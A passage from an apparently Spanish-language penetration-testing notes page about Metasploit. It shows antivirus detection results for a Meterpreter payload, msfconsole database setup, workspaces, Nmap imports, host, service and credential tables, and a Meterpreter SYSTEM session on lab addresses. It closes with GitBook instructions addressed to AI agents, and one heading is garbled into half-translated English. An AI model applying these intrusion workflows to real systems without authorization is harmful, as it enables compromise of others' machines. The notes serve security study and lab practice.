 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                true      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       Unsafe                                                     20220505
 Cynet                 true      4.0.0.27                                                        Malicious (score: 100)                                     20220505
 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           a variant of Win32/Rozena.AA                               20220505
 Elastic               true      4.0.36                                                          malicious (high confidence)                                20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     malware (ai score=89)                                      20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  BehavesLike.Win32.Swrort.lh                                20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        Static AI - Malicious PE                                   20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## Bases de datos:

{% hint style="info" %}
`Bases de datos`se utilizan `msfconsole`para rastrear tus resultados. No es de extrañar que, al evaluar máquinas aún más complejas, por no hablar de redes enteras, las cosas puedan volverse un poco confusas y complicadas debido a la enorme cantidad de resultados de búsqueda, puntos de entrada, problemas detectados, credenciales descubiertas, etc. Aquí es donde entran en juego las bases de datos. `msfconsole` tiene compatibilidad integrada con el sistema de bases de datos PostgreSQL. Con él tenemos acceso directo, rápido y fácil a los resultados del análisis, con la capacidad adicional de importar y exportar resultados junto con herramientas de terceros. Las entradas de la base de datos también pueden usarse para configurar directamente los ajustes del módulo Exploit con resultados ya existentes.
{% endhint %}

### Configuración de la base de datos

Primero, debemos asegurarnos de que el servidor PostgreSQL esté en ejecución en nuestra máquina anfitriona. Para ello, introduce el siguiente comando:

**Estado de PostgreSQL**

```bash
sudo service postgresql status
```

**Iniciar PostgreSQL**

```bash
sudo systemctl start postgresql
```

**Inicializar una base de datos**

```bash
sudo msfdb init
```

**Conexión a la base de datos iniciada**

```bash
sudo msfdb run
```

{% hint style="warning" %}
Sin embargo, si ya hemos configurado la base de datos y no podemos cambiar la contraseña del usuario de MSF, continúa con estos comandos:
{% endhint %}

**Reinicio de la base de datos**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### Uso de la base de datos

```bash
help database

Comandos del backend de la base de datos
=========================

    Comando           Descripción
    -------           -----------
    db_connect        Conectarse a una base de datos existente
    db_disconnect     Desconectarse de la instancia actual de la base de datos
    db_export         Exportar un archivo que contiene el contenido de la base de datos
    db_import         Importar un archivo de resultados de escaneo (el tipo de archivo se detectará automáticamente)
    db_nmap           Ejecuta nmap y registra la salida automáticamente
    db_rebuild_cache  Reconstruye la caché de módulos almacenada en la base de datos
    db_status         Muestra el estado actual de la base de datos
    hosts             Lista todos los hosts de la base de datos
    loot              Lista todo el botín de la base de datos
    notes             Lista todas las notas de la base de datos
    services          Lista todos los servicios de la base de datos
    vulns             Lista todas las vulnerabilidades de la base de datos
    workspace         Cambiar entre espacios de trabajo de la base de datos
```

Tras confirmar que la base de datos está correctamente conectada, podemos organizar nuestros `Espacios de trabajo`

#### Espacios de trabajo:

Podemos pensar en `Espacios de trabajo`de la misma manera que pensaríamos en archivos de proyecto. Podemos separar diferentes resultados de escaneo, hosts e información extraída por IP, subred, red o dominio.

```bash
workspace -a Target_1

[*] Espacio de trabajo añadido: Target_1
[*] Espacio de trabajo: Target_1

msf6 > workspace Target_1

[*] Espacio de trabajo: Target_1

msf6 > workspace

  predeterminado
* Target_1
```

### Importando resultados del escaneo

A continuación, supongamos que queremos importar un `escaneo de Nmap`archivo de un host a nuestro espacio de trabajo de la base de datos para comprender mejor el objetivo

```bash
msf6 > db_import Target.xml

[*] Importando datos de 'Nmap XML'
[*] Importación: analizando con 'Nokogiri v1.10.9'
[*] Importando host 10.10.10.40
[*] Se importó correctamente ~/Target.xml

msf6 > hosts

Anfitriones
=====

dirección      mac  nombre  nombre_so  variante_so  sp_so  propósito  info  comentarios
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Desconocido                    dispositivo

msf6 > services

Servicios
========

host         puerto   proto   nombre        estado  info
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         abierto   RPC de Microsoft Windows
10.10.10.40  139    tcp    netbios-ssn   abierto   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  abierto   Microsoft Windows 7 - 10 microsoft-ds grupo de trabajo: WORKGROUP
10.10.10.40  49152  tcp    msrpc         abierto   RPC de Microsoft Windows
10.10.10.40  49153  tcp    msrpc         abierto   RPC de Microsoft Windows
10.10.10.40  49154  tcp    msrpc         abierto   RPC de Microsoft Windows
10.10.10.40  49155  tcp    msrpc         abierto   RPC de Microsoft Windows
10.10.10.40  49156  tcp    msrpc         abierto   RPC de Microsoft Windows
10.10.10.40  49157  tcp    msrpc         abierto   RPC de Microsoft Windows
```

### Usando Nmap dentro de MSFconsole

Como alternativa, podemos usar Nmap directamente desde msfconsole! Para escanear directamente desde la consola sin tener que pasar al segundo plano o salir del proceso, usa el `db_nmap`comando.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Iniciando Nmap 7.80 ( https://nmap.org ) a las 2020-08-17 21:04 UTC
[*] Nmap: Informe de escaneo de Nmap para 10.10.10.8
[*] Nmap: El host está activo (0.016s de latencia).
[*] Nmap: No se muestran: 999 puertos filtrados
[*] Nmap: PUERTO  ESTADO SERVICIO VERSIÓN
[*] Nmap: 80/TCP abierto  http    HttpFileServer httpd 2.3
[*] Nmap: Información del servicio: SO: Windows; CPE: cpe:/o:microsoft:windows
```

### Copia de seguridad de datos

Después de que termine la sesión, asegúrate de respaldar tus datos si ocurre algo con el servicio PostgreSQL. Para ello, usa el `db_export`comando.

```bash
db_export -h

Uso:
    db_export -f <format> [filename]
    El formato puede ser uno de: xml, pwdump
```

#### Anfitriones:

Los hosts también pueden añadirse manualmente como entradas separadas en esta tabla. Después de añadir nuestros hosts personalizados, también podemos organizar el formato y la estructura de la tabla, añadir comentarios, editar la información existente y más.

```bash
hosts -h

Uso: hosts [ options ] [addr1 addr2 ...]

OPCIONES:
  -a,--add          Añadir los hosts en lugar de buscarlos
  -d,--delete       Eliminar los hosts en lugar de buscarlos
  -c <col1,col2>    Mostrar solo las columnas dadas (ver lista abajo)
  -C <col1,col2>    Mostrar solo las columnas dadas hasta el siguiente reinicio (ver lista abajo)
  -h,--help         Mostrar esta información de ayuda
  -u,--up           Mostrar solo los hosts que están activos
  -o <file>         Enviar la salida a un archivo en formato CSV
  -O <column>       Ordenar las filas por el número de columna especificado
  -R,--rhosts       Establecer RHOSTS a partir de los resultados de la búsqueda
  -S,--search       Cadena de búsqueda para filtrar
  -i,--info         Cambiar la información de un host
  -n,--name         Cambiar el nombre de un host
  -m,--comment      Cambiar el comentario de un host
  -t,--tag          Añadir o especificar una etiqueta para un rango de hosts
```

#### Servicios `services`command works in the same way as the previous one. It contains a table with descriptions and information about the services discovered during scans or interactions. Similar to the command above, the entries here are highly customizable.

```bash
services -h

Uso: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Añadir los servicios en lugar de buscarlos
  -d,--delete       Eliminar los servicios en lugar de buscarlos
  -c <col1,col2>    Mostrar solo las columnas dadas
  -h,--help         Mostrar esta información de ayuda
  -s <name>         Nombre del servicio a añadir
  -p <port>         Buscar una lista de puertos
  -r <protocol>     Tipo de protocolo del servicio que se está añadiendo [tcp|udp]
  -u,--up           Mostrar solo los servicios que están activos
  -o <file>         Enviar la salida a un archivo en formato csv
  -O <column>       Ordenar las filas por el número de columna especificado
  -R,--rhosts       Establecer RHOSTS a partir de los resultados de la búsqueda
  -S,--search       Cadena de búsqueda para filtrar
  -U,--update       Actualizar los datos de un servicio existente
```

#### Información de credenciales

El `creds`el comando te permite ver las credenciales recopiladas durante tus interacciones con el host objetivo. También podemos añadir credenciales manualmente, emparejar credenciales existentes con especificaciones de puertos, añadir descripciones, etc.

## Sesiones:

### Sesiones

> MSFconsole puede gestionar varios módulos al mismo tiempo. Esta es una de las muchas razones por las que ofrece al usuario tanta flexibilidad. Esto se hace mediante el uso de `Sesiones`, lo que crea interfaces de control dedicadas para todos tus módulos desplegados.
>
> Una vez creadas varias sesiones, podemos alternar entre ellas y vincular un módulo diferente a una de las sesiones en segundo plano para ejecutarlo o convertirlas en tareas. Ten en cuenta que, una vez que una sesión se coloca en segundo plano, seguirá ejecutándose y nuestra conexión al host objetivo persistirá. Sin embargo, las sesiones pueden morir si algo sale mal mientras se ejecuta la carga útil, haciendo que se rompa el canal de comunicación.

**Listado de sesiones activas**

Podemos usar el `sessions`comando para ver nuestras sesiones activas actuales.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Sesiones activas
===============

  Id  Nombre  Tipo                     Información                 Conexión
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**Interactuando con una sesión**

Puedes usar el `sessions -i [no.]`comando para abrir una sesión específica.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Iniciando interacción con 1...

meterpreter >
```

### Todas las notas

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/adde86e301aa914696068eaeb43389a938d46de1">/pages/adde86e301aa914696068eaeb43389a938d46de1</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
